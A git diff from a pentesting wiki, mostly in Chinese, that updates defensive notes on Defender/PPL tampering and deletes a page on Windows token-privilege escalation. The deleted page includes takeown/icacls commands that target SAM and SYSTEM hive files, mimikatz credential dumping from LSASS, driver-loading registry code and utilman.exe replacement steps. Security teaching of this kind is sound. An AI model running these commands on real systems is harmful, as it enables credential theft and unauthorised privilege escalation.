- ETW/EDR telemetry: look for processes created with `CREATE_PROTECTED_PROCESS` and anomalous PPL level usage by non-AV binaries.
|
||||
检测
|
||||
- 在引导期间,注意使用异常参数创建 `ClipUp.exe` 的进程,尤其是由非标准启动器作为父进程时。
|
||||
- 新服务被配置为自动启动可疑二进制并持续在 Defender/AV 之前启动。调查在 Defender 启动失败之前的服务创建/修改。
|
||||
- 对 Defender 二进制/Platform 目录进行文件完整性监控;注意带有 protected-process 标志的进程异常创建/修改文件。
|
||||
- ETW/EDR 遥测:查找使用 `CREATE_PROTECTED_PROCESS` 创建的进程,以及非-AV 二进制异常使用 PPL 等级的情况。
|
||||
|
||||
Mitigations
|
||||
- WDAC/Code Integrity: restrict which signed binaries may run as PPL and under which parents; block ClipUp invocation outside legitimate contexts.
|
||||
- Service hygiene: restrict creation/modification of auto-start services and monitor start-order manipulation.
|
||||
- Ensure Defender tamper protection and early-launch protections are enabled; investigate startup errors indicating binary corruption.
|
||||
- Consider disabling 8.3 short-name generation on volumes hosting security tooling if compatible with your environment (test thoroughly).
|
||||
缓解措施
|
||||
- WDAC/Code Integrity:限制哪些签名二进制可以以 PPL 运行以及允许的父进程;阻止 ClipUp 在非合法上下文中被调用。
|
||||
- Service hygiene:限制对自动启动服务的创建/修改,并监控启动顺序的篡改。
|
||||
- 确保 Defender tamper protection 和 early-launch protections 已启用;调查指示二进制被损坏的启动错误。
|
||||
- 如果与你的环境兼容(请充分测试),考虑在托管安全工具的卷上禁用 8.3 short-name generation。
|
||||
|
||||
References for PPL and tooling
|
||||
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
|
||||
@ -840,7 +837,7 @@ References for PPL and tooling
|
||||
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
|
||||
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
|
||||
|
||||
## 参考资料
|
||||
## References
|
||||
|
||||
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
@ -1,180 +0,0 @@
|
||||
# Abusing Tokens
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Tokens
|
||||
|
||||
如果你**不知道什么是Windows访问令牌**,请在继续之前阅读此页面:
|
||||
|
||||
{{#ref}}
|
||||
../access-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
**也许你可以通过滥用你已经拥有的令牌来提升权限**
|
||||
|
||||
### SeImpersonatePrivilege
|
||||
|
||||
这是任何进程持有的特权,允许对任何令牌进行 impersonation(但不允许创建),前提是可以获得其句柄。可以通过诱使Windows服务(DCOM)对一个漏洞执行NTLM身份验证来获取特权令牌,从而启用以SYSTEM权限执行进程。可以使用各种工具利用此漏洞,例如 [juicy-potato](https://github.com/ohpe/juicy-potato)、[RogueWinRM](https://github.com/antonioCoco/RogueWinRM)(需要禁用winrm)、[SweetPotato](https://github.com/CCob/SweetPotato)、[EfsPotato](https://github.com/zcgonvh/EfsPotato)、[DCOMPotato](https://github.com/zcgonvh/DCOMPotato) 和 [PrintSpoofer](https://github.com/itm4n/PrintSpoofer)。
|
||||
|
||||
{{#ref}}
|
||||
../roguepotato-and-printspoofer.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
### SeAssignPrimaryPrivilege
|
||||
|
||||
它与**SeImpersonatePrivilege**非常相似,将使用**相同的方法**来获取特权令牌。\
|
||||
然后,此特权允许**将主令牌分配**给新的/挂起的进程。使用特权的impersonation令牌可以派生出主令牌(DuplicateTokenEx)。\
|
||||
使用该令牌,可以使用'CreateProcessAsUser'创建一个**新进程**,或创建一个挂起的进程并**设置令牌**(通常,无法修改正在运行的进程的主令牌)。
|
||||
|
||||
### SeTcbPrivilege
|
||||
|
||||
如果你启用了此令牌,可以使用**KERB_S4U_LOGON**为任何其他用户获取**impersonation令牌**而无需知道凭据,**向令牌添加任意组**(管理员),将令牌的**完整性级别**设置为“**中等**”,并将此令牌分配给**当前线程**(SetThreadToken)。
|
||||
|
||||
### SeBackupPrivilege
|
||||
|
||||
此特权使系统能够**授予对任何文件的所有读取访问**控制(仅限读取操作)。它用于**从注册表中读取本地管理员**帐户的密码哈希,随后可以使用“**psexec**”或“**wmiexec**”与哈希一起使用(Pass-the-Hash技术)。但是,当本地管理员帐户被禁用或存在政策从远程连接的本地管理员中删除管理权限时,此技术将失败。\
|
||||
你可以通过以下方式**滥用此特权**:
|
||||
|
||||
- [https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1](https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Acl-FullControl.ps1)
|
||||
- [https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug](https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug)
|
||||
- 关注**IppSec**在 [https://www.youtube.com/watch?v=IfCysW0Od8w\&t=2610\&ab_channel=IppSec](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610&ab_channel=IppSec)
|
||||
- 或如在以下内容中解释的**通过备份操作员提升权限**部分:
|
||||
|
||||
{{#ref}}
|
||||
../../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||||
{{#endref}}
|
||||
|
||||
### SeRestorePrivilege
|
||||
|
||||
此特权提供对任何系统文件的**写访问**权限,无论文件的访问控制列表(ACL)如何。它为提升权限打开了许多可能性,包括**修改服务**、执行DLL劫持和通过图像文件执行选项设置**调试器**等各种其他技术。
|
||||
|
||||
### SeCreateTokenPrivilege
|
||||
|
||||
SeCreateTokenPrivilege是一个强大的权限,特别是在用户具备impersonate令牌的能力时,但在没有SeImpersonatePrivilege的情况下也很有用。此能力依赖于能够对表示同一用户的令牌进行impersonation,并且其完整性级别不超过当前进程的完整性级别。
|
||||
|
||||
**关键点:**
|
||||
|
||||
- **在没有SeImpersonatePrivilege的情况下进行impersonation:** 可以在特定条件下利用SeCreateTokenPrivilege进行EoP,通过对令牌进行impersonation。
|
||||
- **令牌impersonation的条件:** 成功的impersonation要求目标令牌属于同一用户,并且其完整性级别小于或等于尝试impersonation的进程的完整性级别。
|
||||
- **创建和修改impersonation令牌:** 用户可以创建一个impersonation令牌,并通过添加特权组的SID(安全标识符)来增强它。
|
||||
|
||||
### SeLoadDriverPrivilege
|
||||
|
||||
此特权允许**加载和卸载设备驱动程序**,通过创建具有特定值的注册表项`ImagePath`和`Type`。由于对`HKLM`(HKEY_LOCAL_MACHINE)的直接写访问受到限制,因此必须使用`HKCU`(HKEY_CURRENT_USER)。但是,为了使`HKCU`对内核可识别以进行驱动程序配置,必须遵循特定路径。
|
||||
|
||||
此路径为`\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`,其中`<RID>`是当前用户的相对标识符。在`HKCU`中,必须创建整个路径,并设置两个值:
|
||||
|
||||
- `ImagePath`,即要执行的二进制文件的路径
|
||||
- `Type`,值为`SERVICE_KERNEL_DRIVER`(`0x00000001`)。
|
||||
|
||||
**遵循的步骤:**
|
||||
|
||||
1. 由于写访问受限,访问`HKCU`而不是`HKLM`。
|
||||
2. 在`HKCU`中创建路径`\Registry\User\<RID>\System\CurrentControlSet\Services\DriverName`,其中`<RID>`表示当前用户的相对标识符。
|
||||
3. 将`ImagePath`设置为二进制文件的执行路径。
|
||||
4. 将`Type`分配为`SERVICE_KERNEL_DRIVER`(`0x00000001`)。
|
||||
```python
|
||||
# Example Python code to set the registry values
|
||||
import winreg as reg
|
||||
|
||||
# Define the path and values
|
||||
path = r'Software\YourPath\System\CurrentControlSet\Services\DriverName' # Adjust 'YourPath' as needed
|
||||
key = reg.OpenKey(reg.HKEY_CURRENT_USER, path, 0, reg.KEY_WRITE)
|
||||
reg.SetValueEx(key, "ImagePath", 0, reg.REG_SZ, "path_to_binary")
|
||||
reg.SetValueEx(key, "Type", 0, reg.REG_DWORD, 0x00000001)
|
||||
reg.CloseKey(key)
|
||||
```
|
||||
更多滥用此权限的方法请参见 [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges#seloaddriverprivilege)
|
||||
|
||||
### SeTakeOwnershipPrivilege
|
||||
|
||||
这与 **SeRestorePrivilege** 类似。其主要功能允许一个进程 **假定对象的所有权**,绕过通过提供 WRITE_OWNER 访问权限的明确自由裁量访问要求。该过程首先确保获得所需注册表项的所有权以进行写入,然后更改 DACL 以启用写入操作。
|
||||
```bash
|
||||
takeown /f 'C:\some\file.txt' #Now the file is owned by you
|
||||
icacls 'C:\some\file.txt' /grant <your_username>:F #Now you have full access
|
||||
# Use this with files that might contain credentials such as
|
||||
%WINDIR%\repair\sam
|
||||
%WINDIR%\repair\system
|
||||
%WINDIR%\repair\software
|
||||
%WINDIR%\repair\security
|
||||
%WINDIR%\system32\config\security.sav
|
||||
%WINDIR%\system32\config\software.sav
|
||||
%WINDIR%\system32\config\system.sav
|
||||
%WINDIR%\system32\config\SecEvent.Evt
|
||||
%WINDIR%\system32\config\default.sav
|
||||
c:\inetpub\wwwwroot\web.config
|
||||
```
|
||||
### SeDebugPrivilege
|
||||
|
||||
此权限允许**调试其他进程**,包括读取和写入内存。可以使用此权限采用各种内存注入策略,能够规避大多数防病毒和主机入侵防御解决方案。
|
||||
|
||||
#### Dump memory
|
||||
|
||||
您可以使用[ProcDump](https://docs.microsoft.com/en-us/sysinternals/downloads/procdump)来自[SysInternals Suite](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)或[SharpDump](https://github.com/GhostPack/SharpDump)来**捕获进程的内存**。具体来说,这可以应用于**本地安全授权子系统服务([LSASS](https://en.wikipedia.org/wiki/Local_Security_Authority_Subsystem_Service))**进程,该进程负责在用户成功登录系统后存储用户凭据。
|
||||
|
||||
然后,您可以在mimikatz中加载此转储以获取密码:
|
||||
```
|
||||
mimikatz.exe
|
||||
mimikatz # log
|
||||
mimikatz # sekurlsa::minidump lsass.dmp
|
||||
mimikatz # sekurlsa::logonpasswords
|
||||
```
|
||||
#### RCE
|
||||
|
||||
如果你想获得一个 `NT SYSTEM` shell,你可以使用:
|
||||
|
||||
- [**SeDebugPrivilege-Exploit (C++)**](https://github.com/bruno-1337/SeDebugPrivilege-Exploit)
|
||||
- [**SeDebugPrivilegePoC (C#)**](https://github.com/daem0nc0re/PrivFu/tree/main/PrivilegedOperations/SeDebugPrivilegePoC)
|
||||
- [**psgetsys.ps1 (Powershell Script)**](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)
|
||||
```bash
|
||||
# Get the PID of a process running as NT SYSTEM
|
||||
import-module psgetsys.ps1; [MyProcess]::CreateProcessFromParent(<system_pid>,<command_to_execute>)
|
||||
```
|
||||
### SeManageVolumePrivilege
|
||||
|
||||
`SeManageVolumePrivilege` 是一个 Windows 用户权限,允许用户管理磁盘卷,包括创建和删除它们。虽然该权限是为管理员设计的,但如果授予非管理员用户,则可能被利用进行权限提升。
|
||||
|
||||
可以利用此权限来操纵卷,从而获得对卷的完全访问权限。可以使用 [SeManageVolumeExploit](https://github.com/CsEnox/SeManageVolumeExploit) 为所有用户提供对 C:\ 的完全访问权限。
|
||||
|
||||
此外,[这篇 Medium 文章](https://medium.com/@raphaeltzy13/exploiting-semanagevolumeprivilege-with-dll-hijacking-windows-privilege-escalation-1a4f28372d37) 中概述的过程描述了如何结合使用 DLL 劫持和 `SeManageVolumePrivilege` 来提升权限。通过放置有效负载 DLL `C:\Windows\System32\wbem\tzres.dll` 并调用 `systeminfo`,该 DLL 被执行。
|
||||
|
||||
## Check privileges
|
||||
```
|
||||
whoami /priv
|
||||
```
|
||||
**显示为禁用的令牌**可以被启用,您实际上可以利用_启用_和_禁用_令牌。
|
||||
|
||||
### 启用所有令牌
|
||||
|
||||
如果您有禁用的令牌,您可以使用脚本 [**EnableAllTokenPrivs.ps1**](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1) 来启用所有令牌:
|
||||
```bash
|
||||
.\EnableAllTokenPrivs.ps1
|
||||
whoami /priv
|
||||
```
|
||||
或在这个 [**帖子**](https://www.leeholmes.com/adjusting-token-privileges-in-powershell/) 中嵌入的 **脚本**。
|
||||
|
||||
## 表格
|
||||
|
||||
完整的令牌权限备忘单在 [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin),下面的摘要将仅列出直接利用该权限以获得管理员会话或读取敏感文件的方法。
|
||||
|
||||
| 权限 | 影响 | 工具 | 执行路径 | 备注 |
|
||||
| ------------------------ | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **`SeAssignPrimaryToken`** | _**管理员**_ | 第三方工具 | _"这将允许用户模拟令牌并使用诸如 potato.exe、rottenpotato.exe 和 juicypotato.exe 等工具提升到 nt 系统"_ | 感谢 [Aurélien Chalot](https://twitter.com/Defte_) 的更新。我会尽快尝试将其重新表述为更像食谱的内容。 |
|
||||
| **`SeBackup`** | **威胁** | _**内置命令**_ | 使用 `robocopy /b` 读取敏感文件 | <p>- 如果您可以读取 %WINDIR%\MEMORY.DMP,可能会更有趣<br><br>- <code>SeBackupPrivilege</code>(和 robocopy)在打开文件时没有帮助。<br><br>- Robocopy 需要同时具有 SeBackup 和 SeRestore 才能使用 /b 参数。</p> |
|
||||
| **`SeCreateToken`** | _**管理员**_ | 第三方工具 | 使用 `NtCreateToken` 创建任意令牌,包括本地管理员权限。 | |
|
||||
| **`SeDebug`** | _**管理员**_ | **PowerShell** | 复制 `lsass.exe` 令牌。 | 脚本可以在 [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) 找到 |
|
||||
| **`SeLoadDriver`** | _**管理员**_ | 第三方工具 | <p>1. 加载有缺陷的内核驱动程序,如 <code>szkg64.sys</code><br>2. 利用驱动程序漏洞<br><br>或者,该权限可用于卸载与安全相关的驱动程序,使用 <code>ftlMC</code> 内置命令。即:<code>fltMC sysmondrv</code></p> | <p>1. <code>szkg64</code> 漏洞被列为 <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">利用代码</a> 是由 <a href="https://twitter.com/parvezghh">Parvez Anwar</a> 创建的</p> |
|
||||
| **`SeRestore`** | _**管理员**_ | **PowerShell** | <p>1. 启动 PowerShell/ISE,并具有 SeRestore 权限。<br>2. 使用 <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a> 启用该权限。<br>3. 将 utilman.exe 重命名为 utilman.old<br>4. 将 cmd.exe 重命名为 utilman.exe<br>5. 锁定控制台并按 Win+U</p> | <p>攻击可能会被某些 AV 软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件</p> |
|
||||
| **`SeTakeOwnership`** | _**管理员**_ | _**内置命令**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. 将 cmd.exe 重命名为 utilman.exe<br>4. 锁定控制台并按 Win+U</p> | <p>攻击可能会被某些 AV 软件检测到。</p><p>替代方法依赖于使用相同权限替换存储在 "Program Files" 中的服务二进制文件。</p> |
|
||||
| **`SeTcb`** | _**管理员**_ | 第三方工具 | <p>操纵令牌以包含本地管理员权限。可能需要 SeImpersonate。</p><p>待确认。</p> | |
|
||||
|
||||
## 参考
|
||||
|
||||
- 查看定义 Windows 令牌的此表: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
|
||||
- 查看关于使用令牌进行 privesc 的 [**这篇论文**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user